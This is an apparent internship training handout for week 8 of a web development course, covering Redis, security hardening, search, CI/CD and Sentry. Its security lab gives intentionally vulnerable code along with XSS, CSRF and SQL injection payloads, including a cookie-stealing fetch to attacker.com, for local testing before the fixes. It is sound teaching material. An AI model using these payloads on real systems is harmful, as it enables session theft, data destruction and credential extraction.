

GROWURK

Internship & Training Program

WEB DEVELOPMENT — WEEK 8

Real-time Features, Security & Production Deployment

PRACTICAL LABS

5 Advanced Labs · Project 4 Deployment

Lab 1

Redis Caching

Lab 2

OWASP Security

Lab 3

Full-Text Search

Lab 4

CI/CD Pipeline

Lab 5

Sentry + Project 4

HOW TO USE THESE LABS

These labs are the most technically demanding in the program. Each one targets a production-critical capability. Complete them in order — the CI/CD lab (Lab 4) wraps everything from Labs 1–3 into an automated pipeline.

Prerequisites — install before starting:

- Node.js 20+, a running Next.js 14 project from Week 7
- Upstash account (free) — upstash.com — create a Redis database
- Sentry account (free) — sentry.io — create a Next.js project
- Typesense Docker: `docker run -p 8108:8108 -e TYPESENSE_API_KEY=test typesense/typesense:0.25.0`
- GitHub repository connected — all code must be pushed before Lab 4
- OWASP ZAP scanner (optional but recommended): zapproxy.org

LAB 1 *Redis | ioredis | Upstash*

Redis Integration — Caching, Rate Limiting & Pub/Sub

Difficulty: **Advanced** | Duration: **2–3 hours**

OBJECTIVE

Integrate Redis into your Next.js 14 application using Upstash (serverless Redis). Implement three production patterns: API response caching with cache-aside, rate limiting on authentication endpoints, and pub/sub for real-time presence indicators.

REAL-WORLD SCENARIO

Your marketplace gig listing page is slow — every request hits PostgreSQL even for data that changes once per hour. Your login endpoint is getting brute-forced. Users cannot see who else is currently browsing a gig. This lab fixes all three problems with Redis.

LAB INSTRUCTIONS

Part A — Setup Upstash Redis

1. Create an Upstash account at upstash.com and create a new Redis database in the closest region
2. Copy the REST URL and REST token from the Upstash console
3. Install the Upstash Redis client: `npm install @upstash/redis`
4. Create `src/lib/redis.ts`:

```
import { Redis } from '@upstash/redis';

export const redis = new Redis({
  url: process.env.UPSTASH_REDIS_REST_URL!,
  token: process.env.UPSTASH_REDIS_REST_TOKEN!,
});

// Helper: cache-aside wrapper
export async function getCache<T>(<
  key: string,
  fetcher: () => Promise<T>,
  ttlSeconds: number = 300
): Promise<T> {
  const cached = await redis.get<T>(key);
  if (cached !== null) return cached;

  const fresh = await fetcher();
  await redis.setex(key, ttlSeconds, JSON.stringify(fresh));
  return fresh;
}
```

Part B — API Response Caching

Apply the `getCache` helper to your gigs listing API route. Gig data changes rarely — cache it for 5 minutes:

```
// app/api/gigs/route.ts
export async function GET(request: Request) {
  const { searchParams } = new URL(request.url);
  const page = searchParams.get('page') ?? '1';
  const category = searchParams.get('category') ?? 'all';

  const cacheKey = `gigs:page:${page}:category:${category}`;

  const gigs = await getCache(
    cacheKey,
    () => db.gig.findMany({ where: { category }, take: 20, skip:
      (parseInt(page)-1)*20 }),
    300 // 5 minutes TTL
  );

  return Response.json({ gigs });
}

// Cache invalidation — call this when a gig is created, updated, or deleted:
await redis.del(`gigs:page:1:category:${category}`);
// Or use a pattern-based invalidation with SCAN (avoid KEYS in production):
// Scan for all keys matching 'gigs:*' and delete them
```

⚠ WARNING

Cache key design is critical. Include all parameters that affect the result in the key. If two different requests with different categories share a key, one will receive the other's data — a

serious data leak. Test your cache by checking the Upstash console to see keys being created and expiring.

Part C — Rate Limiting with Sorted Sets

Protect your `/api/auth/login` endpoint with a Redis sliding window rate limiter. Maximum 5 attempts per IP per 15 minutes:

```
// src/lib/rateLimit.ts
export async function checkRateLimit(identifier: string, maxRequests: number = 5, windowMs: number = 900000) {
  const key = `ratelimit:${identifier}`;
  const now = Date.now();
  const windowStart = now - windowMs;

  const pipeline = redis.pipeline();
  pipeline.zadd(key, { score: now, member: now.toString() });
  pipeline.zremrangebyscore(key, 0, windowStart);
  pipeline.zcard(key);
  pipeline.expire(key, Math.ceil(windowMs / 1000));

  const results = await pipeline.exec();
  const requestCount = results[2] as number;

  return {
    allowed: requestCount <= maxRequests,
    remaining: Math.max(0, maxRequests - requestCount),
    resetAt: new Date(now + windowMs),
  };
}

// In your login route:
const ip = request.headers.get('x-forwarded-for') ?? 'unknown';
const { allowed, remaining } = await checkRateLimit(`login:${ip}`);
if (!allowed) {
  return Response.json({ error: 'Too many attempts. Try again in 15 minutes.' }, { status: 429 });
}
```

Part D — Real-time Presence with Pub/Sub

Show which users are currently viewing a gig page. Use Redis Pub/Sub to broadcast presence events:

```
// When a user visits a gig page:
await redis.publish(`presence:gig:${gigId}`, JSON.stringify({
  event: 'join',
  userId: session.user.id,
  userName: session.user.name,
  timestamp: Date.now(),
}));

// In a Server-Sent Events route (app/api/presence/[gigId]/route.ts):
```

```
export async function GET(request: Request, { params }: { params: { gigId: string } }) {
  const stream = new TransformStream();
  const writer = stream.writable.getWriter();

  // Subscribe to the channel and forward events to the SSE stream
  const subscriber = new Redis(config); // Separate connection for subscribe
  await subscriber.subscribe(`presence:gig:${params.gigId}`, (message) => {
    writer.write(`data: ${message}\n\n`);
  });

  return new Response(stream.readable, {
    headers: { 'Content-Type': 'text/event-stream', 'Cache-Control': 'no-cache' },
  });
}
```

EXPECTED OUTPUT

- Gig listing API responds in under 10ms on cache hits (verify with `curl -w '%{time_total}' URL`)
- Cache keys visible in the Upstash console with 5-minute TTL
- Login endpoint returns 429 after 5 failed attempts from the same IP
- Rate limit resets after 15 minutes (test with Redis CLI: `ZCARD ratelimit:login:127.0.0.1`)
- Presence events appear in the browser when a second tab opens the same gig page
- Cache is correctly invalidated when a gig is updated (stale data does not persist beyond TTL)

❏ COMMON MISTAKE

Using `KEYS` pattern in production — this command scans the entire keyspace and blocks Redis while doing so. On a database with millions of keys it will freeze your application. Always use `SCAN` with a cursor for pattern-based operations. For cache invalidation by pattern, store keys in a Redis Set and iterate that.

❏ CHALLENGE TASK

CHALLENGE: Implement a leaderboard for top-selling sellers using a Redis Sorted Set. `ZADD` the seller's total earnings as the score on every order completion. Use `ZREVRANGE` to retrieve the top 10 sellers. Display the leaderboard on a `/marketplace/top-sellers` page. Update it in real time using SSE and pub/sub when an order is completed.

LAB 2 OWASP Top 10 | CSP | DOMPurify

OWASP Security Hardening — XSS, CSRF & SQL Injection

Difficulty: **Advanced** | Duration: **2–3 hours**

OBJECTIVE

Audit your application against the OWASP Top 10, exploit three deliberately vulnerable endpoints to understand the attacks from the attacker's perspective, then implement all mitigations. This lab uses a learning-by-breaking approach — understanding how attacks work makes mitigation code meaningful rather than cargo-culted.

REAL-WORLD SCENARIO

Your marketplace is preparing for a security audit before investor due diligence. The security team has found three vulnerabilities in a pre-audit scan: a gig description field vulnerable to stored XSS, a missing CSRF token on the order placement form, and a seller search endpoint using string concatenation in SQL queries. Your job is to reproduce each vulnerability and then fix it.

LAB INSTRUCTIONS

Part A — XSS: Find It, Exploit It, Fix It

Step 1 — Create the vulnerability:

Add a gig description field that renders user content with `dangerouslySetInnerHTML` or `innerHTML`. Temporarily disable your existing sanitisation if you have any:

```
// VULNERABLE — never ship this:
function GigDescription({ html }: { html: string }) {
  return <div dangerouslySetInnerHTML={{ __html: html }} />;
}
```

Step 2 — Exploit it (in your local dev environment only):

```
// Submit this as a gig description via your API or the UI:
<img src=x onerror="document.cookie='stolen='+document.cookie;
fetch('http://attacker.com/steal?c='+btoa(document.cookie))">

// A more visible test payload:
<script>alert('XSS: Your session could be stolen here')</script>

// If script tags are filtered, try event handlers:
<svg onload="alert('XSS via SVG')" />
```

❏ SECURITY RULE

Only run these payloads against your own local development environment. Running XSS payloads against any website you do not own is illegal under computer misuse laws in virtually every jurisdiction.

Step 3 — Fix it with DOMPurify + CSP:

5. Install DOMPurify: `npm install dompurify @types/dompurify`
6. Sanitise before rendering:

```
import DOMPurify from 'dompurify';

function GigDescription({ html }: { html: string }) {
  const clean = DOMPurify.sanitize(html, {
    ALLOWED_TAGS: ['p', 'br', 'b', 'i', 'ul', 'li', 'a'],
    ALLOWED_ATTR: ['href', 'target'],
  });
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
```

7. Add Content Security Policy headers in next.config.js:

```
const ContentSecurityPolicy = `
  default-src 'self';
  script-src 'self';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  connect-src 'self' https://api.sentry.io;
  frame-ancestors 'none';
`;

module.exports = {
  async headers() {
    return [{ source: '/(.*)', headers: [
      { key: 'Content-Security-Policy', value:
ContentSecurityPolicy.replace(/\n/g, '') },
      { key: 'X-Frame-Options', value: 'DENY' },
      { key: 'X-Content-Type-Options', value: 'nosniff' },
      { key: 'Referrer-Policy', value: 'strict-origin-when-cross-origin' },
    ]}];
  }
};
```

Part B — CSRF: Understand the Attack

CSRF attacks work because browsers automatically include cookies on every request to a domain — even requests initiated by a different website.

Create a simple HTML file (attacker.html) on a different port to simulate the attack:

```
<!-- This would be served from http://attacker.com -->
<html><body>
<h1>You've won a prize! Click to claim:</h1>
```

```
<form action='http://localhost:3000/api/orders' method='POST' id='form'>
  <input type='hidden' name='gigId' value='1' />
  <input type='hidden' name='amount' value='999' />
</form>
<script>document.getElementById('form').submit();</script>
</body></html>
```

If your order endpoint accepts POST without a CSRF token, opening this file in a browser while logged into your app would place an order using the victim's session.

Fix with SameSite cookies (covers the vast majority of cases):

```
// In your auth configuration (next-auth or manual cookie setting):
cookies: {
  sessionToken: {
    options: {
      httpOnly: true,
      sameSite: 'strict', // Prevents the cookie being sent on cross-site
requests
      secure: process.env.NODE_ENV === 'production',
      path: '/',
    }
  }
}

// Verify in Chrome DevTools → Application → Cookies
// The SameSite column should show 'Strict' for your session cookie
```

Part C — SQL Injection: The Non-Negotiable Fix

Create a deliberately vulnerable search endpoint (locally only):

```
// VULNERABLE — never do this:
// app/api/sellers/search/route.ts
export async function GET(request: Request) {
  const q = new URL(request.url).searchParams.get('q');
  // This directly concatenates user input into the SQL query:
  const result = await db.$queryRawUnsafe(
    `SELECT * FROM users WHERE name LIKE '%${q}%'`
  );
  return Response.json(result);
}
```

Exploit it — test these inputs in your browser or Postman (localhost only):

```
// Input: ' OR '1'='1
// Resulting SQL: SELECT * FROM users WHERE name LIKE '%' OR '1'='1%'
// Returns ALL users — authentication bypass

// Input: '; DROP TABLE users; --
// Resulting SQL: SELECT * FROM users WHERE name LIKE '%'; DROP TABLE users; -
-%'
// Drops your users table — destructive
```



```
// Input: ' UNION SELECT email, password FROM users --  
// Resulting SQL: ... UNION SELECT email, password FROM users --  
// Extracts all emails and passwords
```

Fix with parameterised queries:

```
// SAFE - always do this:  
export async function GET(request: Request) {  
  const q = new URL(request.url).searchParams.get('q') ?? '';  
  
  // With Prisma (recommended - always safe):  
  const sellers = await db.user.findMany({  
    where: { name: { contains: q, mode: 'insensitive' } },  
  });  
  
  // If you must use raw SQL - use Prisma.sql template tag:  
  const sellers2 = await db.$queryRaw`  
    SELECT * FROM users WHERE name ILIKE ${'%' + q + '%'}  
  `;  
  
  return Response.json(sellers);  
}
```

EXPECTED OUTPUT

- XSS payload in gig description renders as plain text after DOMPurify sanitisation (not executed)
- CSP headers visible in Chrome DevTools → Network → Response Headers on any page
- CSP blocks inline scripts — verify by opening the browser console and checking for CSP errors
- Session cookie has HttpOnly, Secure, and SameSite=Strict attributes in DevTools
- SQL injection payloads return empty results or a validation error — not database contents
- Parameterised queries confirmed in Prisma query logs (enable logging: log: ['query'])
- Security headers report card: run securityheaders.com against your deployed app (target A grade)

⚠ WARNING

DOMPurify only runs in the browser — it requires the window object. For server-side sanitisation (API routes, Server Components), use the `isomorphic-dompurify` package or `JSDOM`. Always sanitise at the point of rendering, not just at the point of input, because data may move between systems.

🧪 CHALLENGE TASK

CHALLENGE: Run OWASP ZAP (zapproxy.org) against your local development environment. Configure an authenticated scan by providing your session cookie. Fix all 'High' and 'Medium' severity findings. Export the scan report and include it in your project documentation. This is what security auditors do before signing off on production deployments.

LAB 3 PostgreSQL tsvector | Typesense | Algolia

Full-Text Search — PostgreSQL FTS & Typesense

Difficulty: **Advanced** | Duration: **2–3 hours**

OBJECTIVE

Implement two full-text search solutions for the marketplace gig catalogue: PostgreSQL tsvector for integrated search, and Typesense for production-grade faceted search with typo tolerance. Measure the performance difference and understand when to use each.

REAL-WORLD SCENARIO

Users are abandoning your marketplace because search is terrible. WHERE title LIKE '%react%' takes 800ms on 10,000 gigs, cannot handle the query 'raect' (common typo), and cannot filter by price range and category simultaneously. This lab adds a search experience that returns results in under 50ms.

LAB INSTRUCTIONS

Part A — PostgreSQL Full-Text Search

Step 1 — Add a search vector column to your gigs table:

```
-- Prisma migration (create a new migration file):
-- Run: npx prisma migrate dev --name add_search_vector

-- In the migration SQL file:
ALTER TABLE "Gig" ADD COLUMN search_vector tsvector;

-- Populate existing rows (English stemming):
-- Weight: A (title) is highest, B (tags) medium, C (description) lowest
UPDATE "Gig" SET search_vector =
  setweight(to_tsvector('english', COALESCE(title, '')), 'A') ||
  setweight(to_tsvector('english', COALESCE(array_to_string(tags, ' '), '')),
'B') ||
  setweight(to_tsvector('english', COALESCE(description, '')), 'C');

-- Create a GIN index for fast search:
CREATE INDEX gig_search_idx ON "Gig" USING GIN(search_vector);

-- Auto-update on insert/update with a trigger:
CREATE FUNCTION update_gig_search_vector() RETURNS TRIGGER AS $$
BEGIN
  NEW.search_vector :=
    setweight(to_tsvector('english', COALESCE(NEW.title, '')), 'A') ||
    setweight(to_tsvector('english', COALESCE(NEW.description, '')), 'C');
  RETURN NEW;
```

```
END;
$$ LANGUAGE plpgsql;

CREATE TRIGGER gig_search_vector_update
  BEFORE INSERT OR UPDATE ON "Gig"
  FOR EACH ROW EXECUTE FUNCTION update_gig_search_vector();
```

Step 2 — Create the search API route:

```
// app/api/search/route.ts
export async function GET(request: Request) {
  const { searchParams } = new URL(request.url);
  const q = searchParams.get('q') ?? '';
  const category = searchParams.get('category');
  const minPrice = parseInt(searchParams.get('minPrice') ?? '0');
  const maxPrice = parseInt(searchParams.get('maxPrice') ?? '99999');

  if (q.length < 2) return Response.json({ results: [] });

  const start = Date.now();

  const results = await db.$queryRaw`
    SELECT
      id, title, price, rating, seller_id,
      ts_rank(search_vector, plainto_tsquery('english', ${q})) as rank
    FROM "Gig"
    WHERE
      search_vector @@ plainto_tsquery('english', ${q})
      AND price BETWEEN ${minPrice} AND ${maxPrice}
      ${category ? Prisma.sql`AND category = ${category}` : Prisma.empty}
    ORDER BY rank DESC
    LIMIT 20
  `;

  const durationMs = Date.now() - start;
  console.log({ event: 'search', query: q, resultCount: results.length,
    durationMs });

  return Response.json({ results, durationMs });
}
```

Part B — Typesense for Production Search

1. Start Typesense with Docker (or use Typesense Cloud free tier):

```
docker run -d -p 8108:8108 -e TYPESENSE_API_KEY=your-key
typesense/typesense:0.25.0 --data-dir /tmp/ts-data
```

2. Install the client: `npm install typesense`
3. Create `src/lib/typesense.ts`:

```
import Typesense from 'typesense';
```

```
export const typesense = new Typesense.Client({
  nodes: [{ host: 'localhost', port: 8108, protocol: 'http' }],
  apiKey: process.env.TYPESENSE_API_KEY!,
  connectionTimeoutSeconds: 2,
});

// Define the gig schema:
export const gigSchema = {
  name: 'gigs',
  fields: [
    { name: 'id', type: 'string' },
    { name: 'title', type: 'string' },
    { name: 'description', type: 'string' },
    { name: 'category', type: 'string', facet: true },
    { name: 'price', type: 'int32', facet: true },
    { name: 'rating', type: 'float', facet: true },
    { name: 'tags', type: 'string[]', facet: true },
    { name: 'sellerName', type: 'string' },
    { name: 'deliveryDays', type: 'int32', facet: true },
  ],
  default_sorting_field: 'rating',
};
```

4. Create an indexing script (scripts/indexGigs.ts) that reads all gigs from PostgreSQL and upserts them into Typesense. Run it after each bulk update.
5. Implement a Typesense search route with facets:

```
// app/api/search/typesense/route.ts
export async function GET(request: Request) {
  const { searchParams } = new URL(request.url);
  const q = searchParams.get('q') ?? '*';
  const category = searchParams.get('category');
  const maxPrice = searchParams.get('maxPrice');

  const filterBy = [
    category ? `category:=${category}` : null,
    maxPrice ? `price:<=${maxPrice}` : null,
  ].filter(Boolean).join(' && ');

  const results = await typesense.collections('gigs').documents().search({
    q,
    query_by: 'title,description,tags',
    query_by_weights: '3,1,2',
    facet_by: 'category,price,rating,deliveryDays',
    filter_by: filterBy || undefined,
    num_typos: 2, // Tolerate up to 2 typos
    sort_by: 'rating:desc',
    per_page: 20,
  });

  return Response.json({
    results: results.hits,
    facets: results.facet_counts,
    found: results.found,
  });
}
```

```
    durationMs: results.search_time_ms,  
  });  
}
```

Part C — Build the Search UI

6. Create a SearchPage component with a debounced search input (500ms delay from Week 2 patterns)
7. Display facet filters as checkboxes for category, price range slider, and min rating selector
8. Show a loading skeleton while the search request is in flight
9. Display result cards with the matched terms highlighted (Typesense returns hit highlights in results.hits[].highlight)
10. Show a 'No results for X — try Y' suggestion when results are empty (Typesense returns typo corrections)

EXPECTED OUTPUT

- PostgreSQL FTS returns results in under 50ms for a 10,000-gig dataset (check durationMs in response)
- PostgreSQL FTS correctly ranks results by relevance — title matches score higher than description matches
- Typesense returns results for 'raect developr' (typo) — PostgreSQL FTS returns nothing
- Typesense facet counts show how many gigs exist per category, price range, and rating
- Search results update as the user types (debounced) with a loading skeleton visible during fetch
- The Typesense response time is under 20ms (check durationMs in API response)

NOTE

Keeping Typesense in sync with PostgreSQL is the hardest operational challenge. Options: (1) Re-index on every write using a Prisma middleware hook, (2) Use a cron job to re-index the full collection every 10 minutes, (3) Use database triggers to write events to a queue, with a worker consuming the queue and updating Typesense. Option 1 is simplest for the capstone.

CHALLENGE TASK

CHALLENGE: Implement search analytics. Log every search query, the number of results, the top clicked result, and whether the user refined their search. Store this in a Redis hash keyed by query (normalised to lowercase, stripped). Build a simple /admin/search-analytics page that shows the top 20 queries, zero-result queries, and average results per query.

LAB 4 *GitHub Actions* | *Vercel* | *Railway*

CI/CD Pipeline — GitHub Actions, Automated Testing & Deployment

Difficulty: **Advanced** | Duration: **2–3 hours**

OBJECTIVE

Build a complete CI/CD pipeline using GitHub Actions that automatically runs linting, type checking, and tests on every pull request, then deploys to a preview environment on PRs and to production when code merges to main. No code reaches production without passing all checks.

REAL-WORLD SCENARIO

Your team has grown from 1 to 3 interns. Last week, someone pushed broken TypeScript directly to main and the marketplace was down for 40 minutes. You are setting up a CI/CD pipeline that makes it physically impossible to ship broken code — every merge requires tests to pass, and deployment is fully automated.

LAB INSTRUCTIONS

Part A — Repository Setup

11. Ensure all your code is committed and pushed to GitHub
12. Create a `.github/workflows/` directory at the root of your repository
13. Configure branch protection for main: Settings → Branches → Add rule → require status checks to pass before merging
14. Add all required secrets to GitHub: Settings → Secrets and Variables → Actions:

```
# Required secrets:
VERCEL_TOKEN           # From vercel.com → Account Settings → Tokens
VERCEL_ORG_ID          # From .vercel/project.json after running vercel link
VERCEL_PROJECT_ID      # From .vercel/project.json
DATABASE_URL           # Your Railway PostgreSQL URL
UPSTASH_REDIS_REST_URL
UPSTASH_REDIS_REST_TOKEN
SENTRY_AUTH_TOKEN      # From Sentry → Settings → Auth Tokens
SENTRY_DSN
```

Part B — CI Workflow (Pull Requests)

Create `.github/workflows/ci.yml`:

```
name: CI — Lint, Type Check & Test
```

```
on:
  pull_request:
    branches: [main]
  push:
    branches: [main]

jobs:
  quality:
    name: Code Quality
    runs-on: ubuntu-latest

    steps:
      - name: Checkout
        uses: actions/checkout@v4

      - name: Setup Node.js
        uses: actions/setup-node@v4
        with:
          node-version: 20
          cache: npm

      - name: Install dependencies
        run: npm ci

      - name: Lint
        run: npm run lint

      - name: Type check
        run: npm run type-check

      - name: Run tests
        run: npm run test -- --coverage --passWithNoTests
        env:
          DATABASE_URL: ${ secrets.DATABASE_URL }

      - name: Upload coverage
        uses: codecov/codecov-action@v4
        if: always()
```

Part C — CD Workflow (Deployment)

Create `.github/workflows/deploy.yml`:

```
name: CD - Deploy to Vercel

on:
  push:
    branches: [main]

jobs:
  deploy-production:
    name: Deploy to Production
```



```
runs-on: ubuntu-latest
needs: [] # Add 'quality' job from ci.yml if in same workflow

steps:
  - uses: actions/checkout@v4

  - name: Install Vercel CLI
    run: npm install -g vercel

  - name: Pull Vercel environment
    run: vercel pull --yes --environment=production --token=${{
secrets.VERCEL_TOKEN }}

  - name: Build
    run: vercel build --prod --token=${{ secrets.VERCEL_TOKEN }}

  - name: Deploy
    id: deploy
    run: |
      URL=$(vercel deploy --prebuilt --prod --token=${{
secrets.VERCEL_TOKEN }})
      echo "deployment_url=$URL" >> $GITHUB_OUTPUT

  - name: Notify Sentry of release
    uses: getsentry/action-release@v1
    env:
      SENTRY_AUTH_TOKEN: ${ secrets.SENTRY_AUTH_TOKEN }
      SENTRY_ORG: your-org-slug
      SENTRY_PROJECT: your-project-slug
    with:
      environment: production
      version: ${ github.sha }
```

Part D — Preview Deployments on Pull Requests

Add a third workflow for preview deployments on every PR:

```
name: Preview Deployment

on:
  pull_request:
    branches: [main]

jobs:
  preview:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Deploy Preview
        id: preview
        run: |
          npm install -g vercel
          vercel pull --yes --token=${{ secrets.VERCEL_TOKEN }}
```

```
vercel build --token=${{ secrets.VERCEL_TOKEN }}
URL=$(vercel deploy --prebuilt --token=${{ secrets.VERCEL_TOKEN }})
echo "url=$URL" >> $GITHUB_OUTPUT

- name: Comment PR with preview URL
  uses: thollander/actions-comment-pull-request@v2
  with:
    message: |
      Deploy preview ready: ${{ steps.preview.outputs.url }}
```

15. Create a test PR to verify: push a branch, open a PR, watch the CI workflow run and the preview URL appear in comments
16. Verify that merging to main triggers the production deployment workflow

EXPECTED OUTPUT

- GitHub Actions tab shows all three workflows (CI, CD, Preview) listed with green check marks
- Opening a PR triggers CI and preview deployment — preview URL appears as a PR comment
- Deliberately introducing a TypeScript error in a PR causes the CI workflow to fail and blocks merging
- Merging the fixed PR to main triggers the production deployment workflow automatically
- Production Vercel deployment URL is live with the merged changes
- Sentry receives the release notification — verify in Sentry → Releases

❏ SECURITY RULE

Storing secrets in the workflow YAML file directly — anyone with repository read access can see workflow files. Always use `\${{ secrets.NAME }}` for sensitive values. For public repositories, be extra careful: fork pull requests do not have access to secrets by default, which is the correct security behaviour.

❏ CHALLENGE TASK

CHALLENGE: Add a database migration step to the CD workflow. Before deploying to production, run `npx prisma migrate deploy` to apply any pending migrations. Add a health check step after deployment that hits your `/api/health` endpoint and fails the workflow if it returns a non-200 status. This implements a basic deployment validation gate.

LAB 5 Sentry | Structured Logging | Project 4 Deliverable

Sentry Observability & Project 4 Launch

Difficulty: **Advanced** | Duration: **3–4 hours**

OBJECTIVE

Integrate Sentry for comprehensive error tracking, performance monitoring, and release tracking. Implement structured logging with request correlation IDs. Then deploy Project 4 — the real-time collaboration tool — to production with all Week 8 systems operational.

REAL-WORLD SCENARIO

Project 4 goes live today. Your first real users will use it. When something breaks (and it will), you need to know about it before the users do. Sentry will capture every error with full context. Structured logs will let you trace any request from start to finish. This lab is about being a professional who knows what their code does in production.

LAB INSTRUCTIONS

Part A — Sentry Integration for Next.js

17. Install Sentry: `npm install @sentry/nextjs`
18. Run the Sentry wizard: `npx @sentry/wizard@latest -i nextjs` — this auto-configures `sentry.client.config.ts`, `sentry.server.config.ts`, and `sentry.edge.config.ts`
19. Verify your DSN is in `.env.local` (not committed to git):

```
NEXT_PUBLIC_SENTRY_DSN=https://xxxx@yyyy.ingest.sentry.io/zzzz
SENTRY_ORG=your-org-slug
SENTRY_PROJECT=your-project-slug
SENTRY_AUTH_TOKEN=sentrys_xxxx # For source maps upload only
```

20. Configure source maps upload in `next.config.js` so errors show your TypeScript source:

```
const { withSentryConfig } = require('@sentry/nextjs');

module.exports = withSentryConfig(nextConfig, {
  org: process.env.SENTRY_ORG,
  project: process.env.SENTRY_PROJECT,
  silent: true, // Suppress build output
  widenClientFileUpload: true,
  hideSourceMaps: true, // Source maps uploaded to Sentry, not served publicly
  disableLogger: true,
});
```

Part B — Custom Error Boundaries & User Context

Add user context to every Sentry event so you know exactly which user experienced each error:

```
// In your auth middleware or layout:
import * as Sentry from '@sentry/nextjs';

// After the user is authenticated:
Sentry.setUser({
  id: session.user.id,
  email: session.user.email,
  username: session.user.name,
});

// Clear on logout:
Sentry.setUser(null);

// Add custom context to all events from this request:
Sentry.setContext('order', {
  orderId: order.id,
  gigId: order.gigId,
  amount: order.amount,
});

// Manually capture an error with additional data:
Sentry.captureException(error, {
  tags: { section: 'checkout', paymentProvider: 'stripe' },
  extra: { stripeError: error.code, gigId },
});
```

Create a React Error Boundary for the collaboration editor:

```
'use client';
import * as Sentry from '@sentry/nextjs';

export default Sentry.withErrorBoundary(CollaborationEditor, {
  fallback: ({ error, resetError }) => (
    <div className='error-state'>
      <h2>The editor encountered an error</h2>
      <p>Our team has been notified. Please try refreshing.</p>
      <button onClick={resetError}>Try again</button>
    </div>
  ),
  onError: (error, info) => {
    Sentry.captureException(error, { extra: { componentStack:
    info.componentStack } });
  },
});
```

Part C — Structured Logging with Request Correlation

Implement structured logging that ties all log entries from a single request together using a correlation ID:

```
// src/lib/logger.ts
import { v4 as uuidv4 } from 'uuid';

interface LogEntry {
  level: 'info' | 'warn' | 'error';
  message: string;
  requestId?: string;
  userId?: string;
  durationMs?: number;
  [key: string]: unknown;
}

export const logger = {
  info: (message: string, meta: Partial<LogEntry> = {}) => {
    console.log(JSON.stringify({ level: 'info', message, timestamp: new
Date().toISOString(), ...meta }));
  },
  error: (message: string, error: unknown, meta: Partial<LogEntry> = {}) => {
    const entry = { level: 'error', message, timestamp: new
Date().toISOString(), ...meta,
      error: error instanceof Error ? { name: error.name, message:
error.message, stack: error.stack } : error };
    console.error(JSON.stringify(entry));
    if (error instanceof Error) Sentry.captureException(error);
  },
};

// Middleware to attach requestId to all handlers:
// middleware.ts
export function middleware(request: NextRequest) {
  const requestId = request.headers.get('x-request-id') ?? uuidv4();
  const response = NextResponse.next();
  response.headers.set('x-request-id', requestId);
  return response;
}
```

Part D — Project 4 Deliverable: Real-time Collaboration Tool

Project 4: Real-time Collaboration Tool

A Notion-style document editor with multi-user real-time editing, version history, and all Week 8 production systems operational.

- Multi-user real-time collaborative editing using WebSockets (Socket.io or Liveblocks)
- Live cursors — show each user's cursor position in the document with their name and colour
- Document version history — save a snapshot on every significant change, allow restoration
- Redis-backed presence indicators — who is currently viewing vs editing the document
- Role-based permissions — owner can invite viewers and editors, viewer cannot edit
- Full-text search across all documents using PostgreSQL FTS or Typesense
- Redis rate limiting on all write endpoints (edits, invitations)

- OWASP security hardening — XSS prevention on document content, CSRF protection, CSP headers
- GitHub Actions CI/CD pipeline — all three workflows operational with branch protection
- Sentry error tracking with source maps — every error has user context and a stack trace
- Structured logging with request IDs on all API routes
- Deployed to Vercel (frontend) + Upstash Redis — live, public URL

EXPECTED OUTPUT

- Live URL is accessible and functional — send it to your mentor as your submission
- Two browser windows show live cursors from different 'users' moving in real time
- Sentry dashboard shows your project with source maps — errors show TypeScript line numbers, not compiled JS
- GitHub Actions shows green checkmarks on the last merge to main
- Rate limiting verified: rapid API calls return 429 after the limit is exceeded
- Security headers score A or higher on securityheaders.com
- Structured logs output valid JSON in Vercel's function logs (Vercel → Functions tab)
- CI/CD: deliberately breaking TypeScript in a PR causes the pipeline to fail and blocks merging

⚠ WARNING

Not uploading source maps to Sentry — your error stack traces will show minified production code (e.g. 'at u.t (chunk-abc123.js:1:43284)') instead of your actual TypeScript source. The `withSentryConfig` wrapper in `next.config.js` handles this automatically during the build. Confirm by triggering a test error and checking if the stack trace shows your file names.

🧩 CHALLENGE TASK

CHALLENGE — CAPSTONE PREVIEW: Add an 'AI writing assistant' to your collaboration tool. Integrate the OpenAI API (or use Vercel AI SDK for streaming). When the user selects text and presses `Cmd+K`, show a floating command palette. Commands: 'Improve writing', 'Summarise', 'Translate', 'Continue'. Stream the AI response directly into the document. Rate limit the AI endpoint to 5 requests per user per minute using Redis.

WEEK 8 GRADING RUBRIC

Labs + Project 4 Assessment Criteria

Component	Weight	Criteria
Labs 1–4 Completion	25%	Redis, security, search, and CI/CD all implemented and working
Project 4 Core Features	30%	Real-time editing, cursors, presence, version history, roles, and search
Production Systems	20%	CI/CD pipeline live, Sentry with source maps, structured logging, security headers
Security Hardening	15%	XSS, CSRF, SQL injection all mitigated; securityheaders.com score A or higher
Code Quality	10%	TypeScript types correct; no console.log in production; structured logging used
Challenge Tasks (Optional)	+5%	Bonus for any challenge task completed and documented

NOTE

Submit by sharing: (1) GitHub repository URL with all workflows visible in the Actions tab, (2) live Vercel deployment URL, (3) Sentry project link (share with your mentor). Include a brief README documenting which Week 8 systems are implemented and how to test them.